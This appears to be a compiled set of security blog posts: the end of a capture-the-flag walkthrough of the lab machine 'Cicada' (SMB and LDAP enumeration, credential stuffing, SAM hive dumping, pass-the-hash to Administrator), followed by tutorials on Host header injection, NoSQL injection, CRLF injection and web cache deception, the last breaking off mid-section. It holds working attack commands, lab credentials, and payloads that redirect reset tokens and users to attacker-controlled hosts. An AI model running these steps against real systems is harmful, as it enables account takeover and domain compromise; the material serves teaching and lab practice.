| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-29T14:09:57
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 8553/tcp): CLEAN (Timeout)
|   Check 2 (port 47321/tcp): CLEAN (Timeout)
|   Check 3 (port 13872/udp): CLEAN (Timeout)
|   Check 4 (port 50193/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Key Observations:

• Typical AD-related services (Kerberos - 88, LDAP - 389/636, SMB - 445, DNS - 53)

• HTTP on port 5985 → WinRM

• LDAP over SSL (636/3269)

• Hostname discovered: CICADA-DC.cicada.htb

SMB Enumeration

List shares anonymously

smbclient -L //10.129.200.210/                        
Password for [WORKGROUP\\xxxxx]:

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    DEV             Disk      
    HR              Disk      
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.200.210 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

We found some interesting shares:

• HR

• DEV

• NETLOGON, SYSVOL (standard AD shares)

Downloading HR files

smbclient \\\\\\\\10.129.200.210\\\\HR -N       
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Thu Mar 14 17:59:09 2024
  ..                                  D        0  Thu Mar 14 17:51:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 23:01:48 2024

        4168447 blocks of size 4096. 328898 blocks available
smb: \\> get "Notice from HR.txt"
getting file \\Notice from HR.txt of size 1266 as Notice from HR.txt (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \\> exit

Notice from HR.txt contains a default password:

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Password: Cicada$M6Corpb*@Lp#nZp!8

Enumerating Users

We used RID brute-forcing to identify valid users:

crackmapexec smb 10.129.200.210 -u 'guest' -p '' --rid-brute | grep SidTypeUser
SMB                      10.129.200.210  445    CICADA-DC        500: CICADA\\Administrator (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        501: CICADA\\Guest (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        502: CICADA\\krbtgt (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1000: CICADA\\CICADA-DC$ (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1104: CICADA\\john.smoulder (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1105: CICADA\\sarah.dantelia (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1106: CICADA\\michael.wrightson (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1108: CICADA\\david.orelious (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1601: CICADA\\emily.oscars (SidTypeUser)

Discovered Users

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

Credential Stuffing

Now that we have a potential default password, we test it against all discovered users.

netexec smb 10.129.200.210 -u users.txt  -p pass.txt 

[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing VNC protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Initializing WMI protocol database
[*] Copying default configuration file
SMB         10.129.200.210  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.200.210  445    CICADA-DC        [+] cicada.htb\\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Found credentials:

SMB         10.129.200.210  445    CICADA-DC        [+] cicada.htb\\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Username: emily.oscars
Password: Cicada$M6Corpb*@Lp#nZp!8

LDAP Enumeration

Now that we have valid credentials, we can query LDAP for more internal information:

ldapdomaindump ldap://10.129.200.210 -u 'cicada.htb\\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

David Orelious    David Orelious    david.orelious        Domain Users    03/14/24 12:17:29    08/28/24 17:25:57    03/15/24 06:32:21    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD    03/14/24 12:17:29    S-1-5-21-917908876-1423158569-3159038727-1108    Just in case I forget my password is aRt$Lp#7t*VQ!3

Got another credentials

david.orelious:aRt$Lp#7t*VQ!3

SMB Share Access (david.orelious)

Using smbclient, we explored shares available to David:

smbclient //10.129.200.210/DEV -U david.orelious
Password for [WORKGROUP\\david.orelious]:
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Thu Mar 14 18:01:39 2024
  ..                                  D        0  Thu Mar 14 17:51:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 22:58:22 2024

        4168447 blocks of size 4096. 328478 blocks available
smb: \\> get Backup_script.ps1
getting file \\Backup_script.ps1 of size 601 as Backup_script.ps1 (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \\> exit

cat Backup_script.ps1   

$sourceDirectory = "C:\\smb"
$destinationDirectory = "D:\\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Username: emily.oscars

Password: Q!3@Lp#M6b7tVt

Login as Emiily

evil-winrm -i 10.129.200.210 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> whoami
cicada\\emily.oscars

Privilege Escalation – Abuse of SeBackupPrivilege

Once we had a foothold as emily.oscars, we enumerated the privileges assigned to the user:

*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA\\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

This specific privilege escalation is based on the act of assigning a user SeBackupPrivilege. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file. From the attacker’s perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network.

Reference: https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/

Dumping Registry Hives

From the evil-winrm shell, we created a temporary directory and dumped the hives:

cd c:\\
mkdir Temp
reg save hklm\\sam c:\\Temp\\sam
reg save hklm\\system c:\\Temp\\system

We then downloaded these files locally:

Extracting Hashes with pypykatz

pypykatz registry --sam sam.hive system.hive

WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administrator Shell via Evil-WinRM

Using the dumped NTLM hash, we successfully authenticated as Administrator:

evil-winrm --i cicada.htb -u administrator -H "2b87e7c93a3e8a0ea4a581937016f341" 

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
cicada\\administrator

Conclusion

The CICADA box was a well-crafted Active Directory challenge that required a mix of enumeration, credential harvesting, and privilege escalation techniques. We started with LDAP enumeration using default credentials, which gave us a list of domain users. After identifying a potential default password pattern, we performed credential stuffing using netexec and gained access as michael.wrightson.

Using ldapdomaindump, we discovered another user's plaintext password left in the description field — a common misconfiguration. This led us to david.orelious, who had access to an SMB share containing a PowerShell script. The script revealed credentials for emily.oscars.

As emily.oscars, we noticed the SeBackupPrivilege was enabled. By abusing this privilege, we backed up and downloaded the SAM and SYSTEM registry hives, extracted the Administrator's NTLM hash using pypykatz, and used pass-the-hash to log in as Administrator via evil-winrm.

Host Header Injection vulnerabilities can lead to password reset link hijacking, phishing, open redirects, cache poisoning, and more. In this post, we’ll focus on how insecure usage of the Host header can allow attackers to manipulate password reset links — a simple but critical attack vector that’s often overlooked.1

What are HTTP Headers?

When your browser or any client communicates with a web server, it sends a request. This request isn’t just a plain line like "GET /", it also includes a set of key-value pairs known as HTTP headers.

These headers give the server important information such as:

• What kind of browser is making the request (User-Agent)

• What languages the client prefers (Accept-Language)

• What website or domain the request is targeting (Host)

Headers play a big role in how a server processes a request.

What is the Host Header?

The Host header is one of the most important headers in an HTTP request. It tells the server which domain the client is trying to reach.

Example:

GET / HTTP/1.1  
Host: example.com

This is especially useful when one server hosts multiple websites (known as virtual hosting). The server uses the Host value to decide which website to respond with.

Why Is the Host Header Used in Applications?

Many modern web applications use the Host header internally for tasks such as:

• Generating absolute URLs (e.g., password reset links, confirmation links)

• Redirecting users to login pages

• Creating canonical links for SEO

• Handling multi-tenant routing

But here's the catch: the Host header is fully controlled by the client. That means an attacker can change it to anything they want.

If an application blindly trusts it, trouble follows.

Host Header Injection in Password Reset Links

Now let's get into the actual vulnerability.

What is the Vulnerability?

When you click “Forgot password” on most websites, the backend generates a password reset link and sends it to your email. The link usually looks like:

https://example.com/reset-password?token=XYZ123

Some applications dynamically create this link using the value from the Host header:

reset_url = "https://" + request.headers['Host'] + "/reset-password?token=" + token

If the Host header is not properly validated, an attacker can inject a fake domain. The application will generate a link pointing to a malicious website, and email it to the victim.

How Is It Exploited?

Let’s break down how an attacker can use Host Header Injection to hijack a password reset link.

Step 1: Attacker knows the victim’s email address

The attacker starts with something simple — they know the email address of the target. This could be from a previous leak, a guess, or just publicly available information.

Step 2: Attacker visits the “Forgot Password” page

They go to the target website’s password reset page and enter the victim’s email to request a reset link.

Step 3: Attacker modifies the Host header

Before the request is sent to the server, the attacker changes the Host header from the real domain to a domain they control, like this:

Host: attacker.com

Step 4: Server uses the fake Host value to build the reset link

If the server uses the Host header directly when creating the password reset link, it might generate a link like:

https://attacker.com/reset-password?token=XYZ123

Step 5: Victim receives a password reset email

The website sends an email to the victim with the reset link — but now that link points to attacker.com, not the real website.

Step 6: Victim clicks the link

Because the email looks legitimate, the victim clicks the link without noticing the wrong domain.

Step 7: Attacker gets the reset token

Since the attacker controls attacker.com, they can see the incoming request and steal the token.

Step 8: Attacker resets the victim’s password

The attacker takes the stolen token and uses it on the real site to reset the victim’s password — gaining full access to their account.

Real-World Example (POC)

Let’s say the application code looks like this (Python/Flask):

@app.route('/forgot-password', methods=['POST'])
def forgot_password():
    email = request.form['email']
    token = generate_reset_token(email)
    reset_link = f"https://{request.headers['Host']}/reset-password?token={token}"
    send_email(email, f"Click to reset your password: {reset_link}")
    return "Email sent"

The attacker sends a request like:

POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@example.com

The victim receives:

https://attacker.com/reset-password?token=abcd1234

Boom. Token leaked.

How to Mitigate Host Header Injection

1. Don’t trust the Host header

Instead of building URLs dynamically using request.headers['Host'], always use a hardcoded and known safe domain:

reset_link = f"https://example.com/reset-password?token={token}"

2. Whitelist Valid Hostnames

If your app supports multiple domains, validate the Host header against a list:

host = request.headers['Host']
if host not in ['example.com', 'www.example.com']:
    abort(400)

3. Configure Proxy/CDN properly

Reverse proxies and load balancers should not pass unvalidated Host headers to the backend.

4. Enable logging

Log unusual Host headers for auditing. This helps detect probing or abuse attempts.

Conclusion

Host Header Injection is often labeled as low severity, but in certain contexts - like password reset flows - it can lead to full account compromise.

Always remember: never trust user input, and yes, the Host header counts as user input.

Even though it’s a small header, it can have a big impact.

References and Real Reports

• HackerOne Report #226659– Password Reset link hijacking via Host Header Poisoning

• PortSwigger Web Security Academy – Host header attacks

• OWASP Host Header Injection Guide

NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They are designed to handle large volumes of unstructured or semi-structured data. As such they typically have fewer relational constraints and consistency checks than SQL, and claim significant benefits in terms of scalability, flexibility, and performance.

Like SQL databases, users interact with data in NoSQL databases using queries that are passed by the application to the database. However, different NoSQL databases use a wide range of query languages instead of a universal standard like SQL (Structured Query Language). This may be a custom query language or a common language like XML or JSON.

A few examples of NoSQL databases include:

1. MongoDB, a popular open-source NoSQL database supported

2. Redis, an in-memory key-value store often used for caching data

3. Elasticsearch, a commonly used NoSQL database for at-scale and complex search operations

4. Apache CouchDB, a popular open-source NoSQL database with native REST HTTP API support

5. Cloudflare KV or Amazon DynamoDB, both well-known serverless key-value storage options

Summary

NoSQL injection is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. NoSQL injection may enable an attacker to:

• Bypass authentication or protection mechanisms.

• Extract or edit data.

• Cause a denial of service.

• Execute code on the server.

NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They use a wide range of query languages instead of a universal standard like SQL, and have fewer relational constraints.

How NoSQL Injection Differs from Traditional SQL Injection

Both SQL Injection (SQLi) and NoSQL Injection (NoSQLi) are techniques used by attackers to bypass security checks, usually to log in without valid credentials or access unauthorized data. However, they differ in how the backend processes their input.

Traditional SQL Injection

SQLi targets relational databases like MySQL, PostgreSQL, or SQL Server that use SQL (Structured Query Language).

Imagine a website login form where the backend builds this SQL query:

SELECT * FROM users WHERE username = 'alice' AND password = 'password123';

If the input is not sanitized, an attacker can input the following into the username field:

alice' OR 1=1 --

This transforms the SQL query into:

SELECT * FROM users WHERE username = 'alice' OR 1=1 -- ' AND password = 'password123';

Since OR 1=1 always returns true, and -- comments out the rest, the attacker gains access without needing the correct password.

NoSQL Injection

NoSQLi targets databases like MongoDB, which use a different format—usually JSON—for querying data.

A typical MongoDB login check might look like this:

db.users.findOne({ username: "alice", password: "password123" })

If the server accepts raw JSON and doesn’t validate the input, an attacker could send this:

{
  "username": "alice",
  "password": { "$or": [ {}, { "$ne": null } ] }
}

This uses the $or and $ne (not equal) operators to trick the database into accepting almost any password, because one part of the condition will always be true.

Identifying NoSQL Injection Vulnerabilities

To spot NoSQL injection vulnerabilities, you need to test input fields and see how the database reacts to unexpected input. Here’s how to do it:

Test Input Fields: Look for places where users can input data, such as forms, URL parameters, and API requests.

Inject Special Characters: Try adding special characters that could break the query or trigger the database to behave differently. Common ones include:

$, {, }, \, ", ', ;, and %00 (null byte)

Observe Changes: Watch for changes in the server’s response, such as:

• Content length changing.

• Unexpected status codes (like 500 errors).

• Strange response headers.

Since NoSQL databases like MongoDB or Firebase have different query languages, make sure you understand the syntax of the specific database you're working with.

Types of NoSQL injection

There are two different types of NoSQL injection:

• Syntax injection - This occurs when you can break the NoSQL query syntax, enabling you to inject your own payload. The methodology is similar to that used in SQL injection. However the nature of the attack varies significantly, as NoSQL databases use a range of query languages, types of query syntax, and different data structures.

• Operator injection - This occurs when you can use NoSQL query operators to manipulate queries.

Conclusion

NoSQL injection is a critical vulnerability that can give attackers access to sensitive data or even allow them to execute malicious commands on your server. Unlike traditional SQL injection, which exploits the structure of SQL queries, NoSQL injection takes advantage of the unique query systems used by NoSQL databases. With applications increasingly relying on NoSQL databases like MongoDB, Redis, and others, understanding how NoSQL injection works and how to secure against it is more important than ever.

In the next part of this blog, we’ll break down the different types of NoSQL injection attacks in detail. We'll discuss how syntax injection and operator injection work, provide clear examples of each, and give you actionable tips for securing your NoSQL databases.

Stay tuned for more practical advice on preventing NoSQL injection!

In this blog post, we’ll dive into what CRLF injection is, where it’s commonly found, and how attackers can exploit it to cause significant damage, such as redirecting users to malicious sites, sending unauthorized emails, logging false entries, and executing cross-site scripting (XSS) attacks.

What is CRLF Injection?

CRLF injection occurs when an attacker injects CRLF characters into user-controllable input, which is then included in HTTP headers or server-side outputs. This exploitation happens due to improper input validation or poor sanitization of input data. Attackers can use CRLF injection to manipulate headers, redirect users to malicious websites, send unauthorized emails, or execute malicious scripts.

Common Places for CRLF Injection Exploitation

Exploiting Automatic Directory Completion

A common vulnerability occurs when a website’s directory completion feature automatically appends a slash to URLs. For instance, a website might redirect you to a directory with a trailing slash when you access it without one:

GET /helloworld <-- no slash HTTP/1.1 Host: site.com Accept: application/json

The server responds by redirecting you to the following URL:

HTTP/1.1 301 Moved Permanently Location: /hello-world/ <-- slash

Now, an attacker can inject CRLF characters to manipulate the redirection, resulting in the following request:

GET /helloworld%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json

This response contains two Location headers:

HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/

Anyone clicking the manipulated URL will be redirected to a malicious website instead of the intended /hello-world page.

Exploiting Redirections

CRLF injection can also be used in redirection functionality. For example, an API may redirect users to a provided URL:

GET /api/redirect?url=https%3A%2F%2Fsite.com%2Fhello-world HTTP/1.1 Host: site.com Accept: application/json

The server responds with:

HTTP/1.1 302 Found Location: https://site.com/hello-world

By injecting CRLF characters into the URL parameter, the attacker can alter the redirection:

GET /api/redirect?url=%2Fhello-world%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json

The response will now look like this:

HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/

This results in users being redirected to the attacker’s website instead of the legitimate one.

Email Injection

One of the more dangerous attack vectors for CRLF injection is email systems. If user input is incorporated into email headers without proper validation, an attacker can inject arbitrary headers, potentially sending emails to unintended recipients or modifying the behavior of the email server.

Consider a vulnerable PHP script that sends a feedback email:

If the name input is not sanitized properly, an attacker can inject CRLF characters to create custom email headers, such as the Bcc header to send the email to multiple recipients:

POST /feedback.php HTTP/1.1
Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

name=peter%0d%0aBcc%3A%20notaniceguy%40company.com&replyTo=peter%40serious.bznes&message=You're%20not%20a%20nice%20guy%20%3A(

This results in the email headers being:

From: peter
Bcc: notaniceguy@company.com
Reply-To: peter@serious.bznes

As a result, the email is sent not only to the intended recipient but also to the attacker’s specified recipient.

Log Injection

CRLF injection can be exploited in logging systems to inject custom log entries, which can mislead administrators or fill logs with irrelevant information. For example, if a system logs user login attempts:

1708853728374:peter:False
1708853743574:peter:True

An attacker can inject a malicious entry:

peter:False%0d%0a1708853860227:admin:True

The resulting log file would look like this:

1708853728374:peter:False
1708853743574:peter:True
_________________________
1708853860227:admin:True <-- Fake log entry!

This could potentially trick the administrator into believing that the attacker successfully logged in as the admin user at a specific time.

Reflected XSS

Another potential exploitation of CRLF injection occurs when user input is reflected in cookies or HTTP headers. For example, if a website stores the lang parameter in a cookie:

GET /language?lang=en-US HTTP/1.1
Host: site.com
Accept: text/html

The response might include:

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;

An attacker can inject malicious JavaScript using CRLF to break the cookie and inject an arbitrary Content-Type header:

GET /language?lang=en-US%3B%3C%0d%0a%3EContent-Type%3A%20text%2Fhtml%3C%0d%0a%3EContent-Length%3A25%3C%0d%0a%0d%0a%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: site.com
Accept: text/html

The response would now include the injected payload:

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Content-Type: text/html
Content-Length: 25

;

This results in a reflected XSS vulnerability, executing the injected script in the user’s browser.

How to Protect Against CRLF Injection

To mitigate CRLF injection vulnerabilities, web applications must adopt secure coding practices:

1. Sanitize User Input: Ensure that user-controlled data does not contain CRLF characters before using it in HTTP headers or logs. Reject or encode CRLF sequences if detected.

2. Use Prepared Statements: For scenarios like email injection or SQL queries, always use prepared statements or parameterized queries to avoid injection risks.

3. Set Proper Content Security Policies: For XSS protection, implement content security policies (CSP) that prevent the execution of malicious scripts.

4. Log Sanitization: Ensure that all logs are sanitized before writing them to files or databases. This helps avoid the manipulation of logs by attackers.

Conclusion

CRLF injection is a powerful attack vector that can result in severe security vulnerabilities, such as email injection, HTTP response splitting, and reflected XSS attacks. Understanding the risks and applying appropriate mitigation strategies — such as input sanitization, secure coding practices, and proper validation — can significantly reduce the likelihood of CRLF injection attacks. By improving the security of your web applications, you can protect users and maintain the integrity of your system.

References:

• https://owasp.org/www-community/vulnerabilities/CRLF_Injection

• https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

A well-configured cache enhances website speed, reduces bandwidth consumption, and minimizes latency. However, misconfigurations can introduce security vulnerabilities, such as Web Cache Deception (WCD) and Cache Poisoning.

Web Cache Deception: A Dangerous Attack

Web Cache Deception is a technique that attackers use to manipulate caching systems and mislead users or web applications into serving unintended content. This attack involves crafting malicious requests to exploit vulnerabilities in caching mechanisms, leading to the caching of sensitive data associated with other users through legitimate URLs.

Subsequent users who unknowingly request malicious URLs may be unknowingly served highly confidential and personal sensitive information, putting their privacy and security at significant risk.

How Web Cache Deception Works

In this attack, a victim user visits a sensitive URL, such as:

[https://example.com/profile/settings](https://example.com/profile/settings)

The attacker then modifies the URL to append a static file extension, such as:

[https://example.com/profile/settings.css](https://example.com/profile/settings.css)

If the server does not validate the URL correctly and serves the dynamic content for the modified URL, the cache may store the response as settings.css. Now, anyone accessing the modified URL may view cached sensitive user data without authentication.

Explanation of the Attack

A successful Web Cache Deception attack relies on three key conditions:

1. Misconfigured Cache: The web cache should be configured to cache static files based on extensions without considering any caching headers provided by the server.

2. Unvalidated Requests: When accessing a page like http://www.example.com/home.php/non-existent.css, the server must serve the content of home.php, despite the requested CSS file non-existent.css not existing.

3. No Authentication for Static Files: The server must not require authentication for accessing public static files. As a result, the cached files become publicly accessible to all users, including unauthenticated ones.

Exploitation

In this scenario, attackers can append non-existent static file extensions, such as .css, .js, or .jpg, to URLs that point to sensitive pages. This allows the cache to store dynamic content as if it were static content. When attackers share these crafted URLs with victims, they may end up revealing sensitive data, such as user profiles or account settings, through cached versions of the page.

This type of attack is a significant concern because cached static files are often served without any authentication, exposing sensitive data to unauthorized users.

Cache Poisoning vs. Web Cache Deception

Cache Poisoning is another attack method that targets caching systems. It involves injecting malicious content into cached responses. While Web Cache Deception tricks the cache into storing sensitive information under publicly accessible URLs, Cache Poisoning manipulates the cached content itself to serve malicious payloads, which can lead to phishing, defacement, or code execution.

Both techniques exploit misconfigurations in caching mechanisms and can have serious security implications when left unchecked.

How to Exploit Web Cache Deception

